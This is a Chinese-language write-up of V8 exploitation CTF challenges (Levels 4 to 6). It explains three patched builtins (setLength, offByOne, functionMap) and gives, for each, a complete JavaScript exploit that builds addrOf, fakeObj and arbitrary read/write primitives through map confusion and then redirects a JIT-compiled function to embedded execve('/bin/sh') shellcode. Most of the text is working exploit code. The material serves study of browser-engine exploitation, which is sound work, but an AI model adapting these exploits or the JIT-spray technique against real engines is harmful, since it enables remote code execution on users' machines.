Level4(能改写数组的length,污染map)
环境搭建
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level4/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
分析
注册了一个setLength方法。

这里是创建了一个新的文件来写这个方法,文件在 src/builtins/array-setlength.tq
定义了ArrayPrototypeSetLength函数。
js-implicit表示这些参数是隐式传递的(由 V8 运行时提供)context: NativeContext- 当前 JavaScript 执行的上下文receiver: JSAny- 函数调用时的 this 值(接收者对象)length: JSAny- 用户传递的 length 参数
后面就是将用户传递的 length 参数转换为 Smi 类型,然后就是将 receiver(this 值)转换为 JSArray 类型,最后就直接赋值了,修改了array的长度。

漏洞利用
因为本题只能设置JsArray的Length。
所以大致思路如下:
先构造两个相邻的double_array,再构造一个obj。因为我们可以设置Length,导致我们有了越界读写。
我们先利用第一个 数组对象 利用越界读取中间数组的 map值以及properties。
我们再利用中间的 数组对象 利用越界读取下一个obj的map值以及properties。
后面可以通过污染 Map来获取地址以及任意写了,对于获取地址,我们修改正常obj的map为中间double数组的map,这样读取obj的元素时就会根据map(已经被修改成double数组的map)来判断读取的方式,因为被修改了,就会当成浮点数,所以 obj[0] 被解释为浮点数(实际是对象指针)。
EXP
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffen;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
var tag = 1;
var array = new Array(0x1000).fill(1.1);
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
array.setLength(0x10000);
var rw_map_addr = u64_to_u32_0(f64_to_u64(array[0x1000]));
var rw_properties_addr = u64_to_u32_1(f64_to_u64(array[0x1000]));
logg("rw_map_addr",rw_map_addr);
logg("rw_properties_addr",rw_properties_addr);
// %DebugPrint(array);
// %DebugPrint(rw_array);
// %DebugPrint(obj);
// %SystemBreak();
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_0(f64_to_u64(rw_array[0x1000]));
var obj_properties_addr = u64_to_u32_1(f64_to_u64(rw_array[0x1000]));
logg("obj_map_addr",obj_map_addr);
logg("obj_properties_addr",obj_properties_addr);
// %SystemBreak();
function GetAddressOf(object) {
rw_array[0x1000] = u32_to_f64(obj_map_addr,obj_properties_addr);
obj[0] = object;
rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr); //obj 现在使用浮点数组 Map
return u64_to_u32_0(f64_to_u64(obj[0])); //所以 obj[0] 被解释为浮点数(实际是对象指针)
}
function AAR(addr){
rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr);
rw_array[0x1001] = u32_to_f64((addr-0x8) | tag,0x20000);
return f64_to_u64(obj[0]);
}
function AAW(addr,value){
rw_array[0x1000] = u32_to_f64(rw_map_addr,rw_properties_addr);
rw_array[0x1001] = u32_to_f64(addr-0x8 | tag,0x2000);
obj[0] = u64_to_f64(value);
}
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = unptr(AAR(shellcode_addr+0xc));
var instruction_start_addr = code_addr+0x14n;
var shellcode_start = AAR(Number(instruction_start_addr))+0x6bn;
AAW(Number(instruction_start_addr),shellcode_start);
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
shellcode();
// %DebugPrint(shellcode);
// %SystemBreak();

调试分析
如图是两个数组和obj的结构,前两个数组的length已经被修改了,因此我们有了越界读写。



通过越界读取,我们可以拿到中间数组和obj的map值这些.

当我们读取shellcode的地址时,如下图,Map以及properties被修改成中间数组的map和properties,所以当读取obj[0]时第一个元素也就是shellcode会被解析成浮点数也就是实际是对象指针。

如上我们可以拿到shellcode的地址,然后还要获取shellcode中的code地址,shellcode结构如下

当我们通过 var code_addr = unptr(AAR(shellcode_addr+0xc));获取code地址时
要修改obj结构的map以及elements,如图根据map还是会将元素解析成浮点数也就是能读取地址,然后将elements修改为 shellcode_addr+0xc就能读取code的地址。

如下图就能看到code的地址,前8字节是map,后8字节才是code_addr,也就是通过obj[0]读出.

拿到了code_addr,那么根据前面几个题的方法,我们可以很轻松的拿到instruction_start_addr,
然后再利用上面同样的手法读取instruction_start_addr的值后加上0x6b,就可以拿到shellcode_start的地址。

拿到地址后就能利用越界写,将instruction_start_addr的值改成shellcode_start就能拿到shell了.
Level5 (越界读写8字节)
环境搭建
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level5/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
分析
添加了一个offByOne的方法

这个就是该方法的主要实现,先对receiver判断是否是JSArray以及数组的元素类型必须是简单类型(即没有 holes、不是对象等)
然后强制转换成JSArray后获取其元素,要求其元素必须是PACKED_DOUBLE_ELEMENTS。
然后再判断参数个数不超过两个,实际只传入一个参数,因为args[0] 是receiver(this),args[1]是可选的写入值。
再把元素以FixedDoubleArray来储存。再获取数组长度并转换为uint32_t类型。
当我们没有传入参数时会进入if分支(read mode),read mode直接返回elements[len]的元素内容,很典型的一个越界
当参入参数时会进入else分支(write mode),write mode会先判断传入的值是否是IsNumber,然后将值转换成double类型就直接给elements[len]赋值。
通过分析可以发现这里明显有个 8字节溢出的读写操作,思路大众和Level4一样。

PACKED_DOUBLE_ELEMENTS包括了PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTS和HOLEY_ELEMENTS。如下图:

漏洞分析
经过上面的分析可以知道本题是一个8字节的越界读写漏洞。意味着我们可以读写map和properties
当我们可以控制properties时,我们就有了一种新的利用法式,这里先简单介绍一下。
下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过 elements来索引

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

列如:
var oob_array = [1.1];
var obj = {in_object: 1};
obj.out_object1 = 2;
查看输出和内存,可以发现 obj是JS_OBJECT_TYPE类型,

这里的in-object直接存储在elements后面

out-objs 也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个obj的elements然后使用obj.out_object1 = xxxx;索引,同时修改值,这样就可以修改elements的length,同时继续去修改obj的length,这样就可以有一个rw_array,有这个rw_array之后,写addressOf、fakeObject、AAR、AAW是很简单的了。
EXP
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffen;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
function read_OffByOne(target){
return f64_to_u64(target.offByOne())
}
function write_OffByOne(target,val){
target.offByOne(Number(val));
}
var oob_array = [1.1];
var obj = {in_object: 1};
obj.out_object1 = 2;
var second_array = [2.2];
var obj_map_addr = u64_to_u32_0(read_OffByOne(oob_array));
var obj_properties_addr = u64_to_u32_1(read_OffByOne(oob_array));
var elements_addr_of_oob_array = obj_properties_addr - 0x64;
logg("obj_map_addr",obj_map_addr);
logg("obj_properties_addr",obj_properties_addr);
logg("elements_addr_of_oob_array",elements_addr_of_oob_array);
// %DebugPrint(oob_array);
// %DebugPrint(obj);
// %DebugPrint(second_array);
// %SystemBreak();
write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-0x4));
obj.out_object1 = 0x1000;
write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-4-0x10))
obj.out_object1 = 0x1000;
var second_array_map_properties = f64_to_u64(oob_array[0x10]);
second_array_map = u64_to_u32_0(second_array_map_properties);
second_array_properties = u64_to_u32_1(second_array_map_properties);
logg("second_array_map",second_array_map);
logg("second_array_properties",second_array_properties);
function GetAddresOf(object){
oob_array[0x10] = u32_to_f64(obj_map_addr,0);
second_array[0] = object;
oob_array[0x10] = u32_to_f64(second_array_map,0);
return f64_to_u64(second_array[0]);
}
function FakeObj(addr){
oob_array[0x10] = u32_to_f64(second_array_map,0);
second_array[0] = u32_to_f64(addr,0);
oob_array[0x10] = u32_to_f64(obj_map_addr,0);
return second_array[0];
}
var fake_arr = [u32_to_f64(second_array_map,0),u32_to_f64(0,0x1000)];
var fake_arr_addr = u64_to_u32_0(GetAddresOf(fake_arr));
var fake_obj = FakeObj(fake_arr_addr+0x54);
// %DebugPrint(fake_arr);
// %DebugPrint(fake_obj);
// %SystemBreak();
function AAR(addr){
fake_arr[1] = u32_to_f64(addr-8,0x1000);
return f64_to_u64(fake_obj[0]);
}
function AAW(addr,val){
fake_arr[1] = u32_to_f64(addr-8,0x1000);
fake_obj[0] = u64_to_f64(val);
}
var shellcode_addr = u64_to_u32_0(GetAddresOf(shellcode));
var code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr + 0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
shellcode()
调试分析
首先先利用越界读取泄露 obj_map_addr,obj_properties_addr,elements_addr_of_oob_array

然后利用越界写,改写 oob_array的length以及oob_array的elements的length.


改写完length后我们就可以任意越界读取了。
然后就是泄露 second_array的map和properties。


因为前面拿到了Obj的map和properties,现在又有second_arra的map和properties,因此我们可以利用oob_array越界写改写second_array的map和properties来造成混淆来泄露地址。
为了达到任意地址泄露读写的能力,我们还需要伪造一个obj。
fake_arr结构如下:


fake_obj通过map混肴,改second_array的elements[0]分配一个obj,这个fake_obj的地址是fake_arr+0x54的地方,实现fake_obj_elements_addr == fake_arr[1] ;


然后就可以通过修改fake_arr[1]然后读写fake_obj[0]来达到任意地址读写的目的。
Level6
环境搭建
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level6/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
分析
注册了一个functionMap方法

这里主要就是判断传入的参数是不是函数(JSFunction),然后对函数进行遍历,取出arr的元素然后转换成obj也就是下面的elem_handle,然后就是解释调用func_obj,也就是用户传入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内。

漏洞分析
这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆。
这里有个需要注意的就是:取值固定认为array为FixedDoubleArray,这是因为在functionMap开头已经检测过array的类型。但是由于JS Object的类型是动态的,我们完全有可能在自定义的func_obj中修改array的元素,导致类型发生转变,从而实现类型混淆。
对于上面的分析,我们就可以尝试构造一个函数,动态的修改arr的类型,下面是addressOf的编写,采用switch case的结构,使用idx进行遍历。第一次执行arr[2] = obj ,成功的导致了map解析的类型发生改变,然后idx为1的时候,就会解析出来target的地址.
function GetAddressOf(obj){
var arr = [1.1,2.2,3.3];
var addr = 0;
var idx = 0;
arr.functionMap((value)=>{
switch(idx){
case 0:
arr[2] = obj;
idx++;
return value;
case 1:
addr = f64_to_u64(value);
idx++;
return value;
default:
idx++;
return value;
}
});
return addr;
}
idx=1可以索引出原本arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arr的idx会发生改变。如下图:

将arr[2] = obj时,arr会变为object类型,此时第二次以double的方式访问原本的arr[1]的位置时,取到的数据的低4位即为object的地址。
接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下
function fakeObject(address){
var arr = [1.1,2.2,3.3];
var obj = {};
var idx = 0;
arr.functionMap((value)=>{
switch(idx){
case 0:
idx++;
arr[2] = obj;
return u32_to_f64(address,0);
default:
idx++;
return value;
}
});
return arr[0];
}
EXP
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffen;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
function GetAddressOf(target){
var arr = [1.1,2.2,3.3];
var addr = 0;
var idx = 0;
// %DebugPrint(arr);
// %SystemBreak();
arr.functionMap((value)=>{
switch(idx){
case 0:
arr[2] = target;
idx++;
// logg("value",f64_to_u64(value));
// %DebugPrint(arr);
// %SystemBreak();
return value;
case 1:
addr = f64_to_u64(value);
// logg("value",f64_to_u64(value));
// %SystemBreak();
idx++;
return value;
default:
idx++;
return value;
}
});
return addr;
}
function fakeObject(address){
var arr = [1.1,2.2,3.3];
var obj = {};
var idx = 0;
arr.functionMap((value)=>{
switch(idx){
case 0:
idx++;
arr[2] = obj;
// %DebugPrint(arr);
// %SystemBreak();
return u32_to_f64(address,0);
default:
idx++;
return value;
}
});
return arr[0];
}
var fake_double_map = [u64_to_f64(0x31040404001c01b5n),u64_to_f64(0x0a8007ff11000844n)];
var fake_double_map_addr = u64_to_u32_0(GetAddressOf(fake_double_map))+0x54;
logg("fake_double_map_addr",fake_double_map_addr);
var fake_array = [u32_to_f64(fake_double_map_addr,0x0),u32_to_f64(0x1,0x1000)];
var fake_array_addr = u64_to_u32_0(GetAddressOf(fake_array))+0x54;
var fake_obj = fakeObject(fake_array_addr);
logg("fake_array_addr",fake_array_addr);
// %DebugPrint(fake_double_map);
// %DebugPrint(fake_array);
// %DebugPrint(fake_obj);
// %SystemBreak();
function AAR(addr){
fake_array[1] = u32_to_f64(addr-8,0x1000);
return f64_to_u64(fake_obj[0]);
}
function AAW(addr,val){
fake_array[1] = u32_to_f64(addr-8,0x1000);
fake_obj[0] = u64_to_f64(val);
}
var shellcode_addr = u64_to_u32_0(GetAddressOf(shellcode));
var code_addr = u64_to_u32_0(AAR(shellcode_addr + 0xC));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start)
shellcode();
调试分析
对于GetAddressOf在case 0处下断点查看可以看到 arr[2] = obj,然后当case 1时就能取到传入的obj的地址。

然后伪造一个 fake_double_map,其值是 fake_double_map下map的前16字节内容,如图:

map的内容是:

这里设置这个值的原因是后面伪造fakeobj时,fakeobj的map值要合法所以要这么设置.
然后 fake_double_map_addr = fake_double_map+0x54处时,刚好取到 fake_double_map下elements的第一个元素,也就是0x220e001081cd-1+0x8的值.

然后再构造一个 fake_array,其值就是fake_double_map_addr,和一个u32_to_f64(0x1,0x1000),


然后 fake_array_addr = fake_array+0x54也是刚好取到第一个元素。

最后就是在 fake_array_addr 处伪造一个fakeObj, 这个fakeObj的地址就是0x220e0010846c+1,map地址就是0x01081d5,elements的地址就是fake_array的第2个元素。如下就是fake_obj的结构

仔细观察就可以发现 fake_obj的地址就是fake_array+0x54也就是fake_array第一个元素处的地址,
fake_obj的map就是fake_array第一个元素,fake_obj的element就是fake_array的第二个元素。
然后 fake_array第一个元素也就是 fake_double_map_addr , 也就是 fake_double_map中第一个元素所在的地址。
也就是说 fake_obj中map中的值就是fake_double_map数组中伪造的数据。

综上所述我们就可以构造出AAR,AAW.
可以通过修改fake_array的第二个元素来修改 fake_obj的elements,后续思路就和前面的Level一样了。
974

被折叠的 条评论
为什么被折叠?



